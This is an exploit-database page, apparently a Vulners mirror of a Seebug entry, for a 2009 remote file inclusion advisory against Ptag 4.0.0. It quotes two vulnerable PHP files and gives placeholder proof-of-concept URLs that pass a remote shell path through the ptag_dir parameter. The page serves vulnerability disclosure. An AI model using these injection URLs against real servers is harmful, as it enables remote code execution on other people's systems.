Lucene search
K

Ptag <= 4.0.0 - Multiple RFI Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Ptag <= 4.0.0 Multiple RFI Exploi

Code

                                                ##################################################################
## Exploit Title: Ptag &#60;= 4.0.0 Multiple RFI Exploit            ##
## Date: 19-12-2009                                             ##
## Author: cr4wl3r                                              ##
## Software Link: http://sourceforge.net/projects/ptag/         ##
## Version: N/A                                                 ##
## Tested on: GNU/LINUX                                         ##
##################################################################


~ Code [session.php]

&#60;?php
//Plottable Tagboard Systems Version 4.0.0 - ROLAND
//Session handling File

require_once(ptag_dir.&#34;lib/php/crossSession.php&#34;);
class ptag_session extends crossSession{
	public function __construct(){
		global $ptag_sql;
		$this -&#62; sql_table = ptag_prefix.&#34;session&#34;;
		$this -&#62; cookie_name = ptag_prefix.&#34;session&#34;;
		
		//If RSS mode, switch session to non-viewed tracker.
		if (ptag_output == &#34;rss&#34;){
			parent::__construct($ptag_sql, sha1(&#34;&#34;));
		}
		else{
			parent::__construct($ptag_sql);
		}
	}
}
?&#62;

~ PoC

[Ptag_path]/lib/session.php?ptag_dir=[Shell]




~ Code [sql.php]

&#60;?php
//Plottable Tagboard Systems Version 4.0.0 - ROLAND
//Extending MySQL class

require_once(ptag_dir.&#34;lib/php/ezmySQL.php&#34;);
class ptag_sql extends ezmySQL{

	public function __construct(){
		parent::__construct(ptag_mysql_host, ptag_mysql_user, ptag_mysql_pass, ptag_mysql_db);
	}
	
	protected function error_handler($err){
		$error = &#34;A MySQL error has occured: (&#34;.$err[&#34;errno&#34;].&#34;) &#34;.$err[&#34;error&#34;].&#34; when executing the query: &#34;.$err[&#34;query&#34;];
		
		return ptag_exception::handle_error($error, $err[&#34;line&#34;], $err[&#34;file&#34;], $err[&#34;class&#34;], $err[&#34;method&#34;]);
	}
}
?&#62;


~ PoC

[Ptag_path]/lib/sql.php?ptag_dir=[Shell]
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14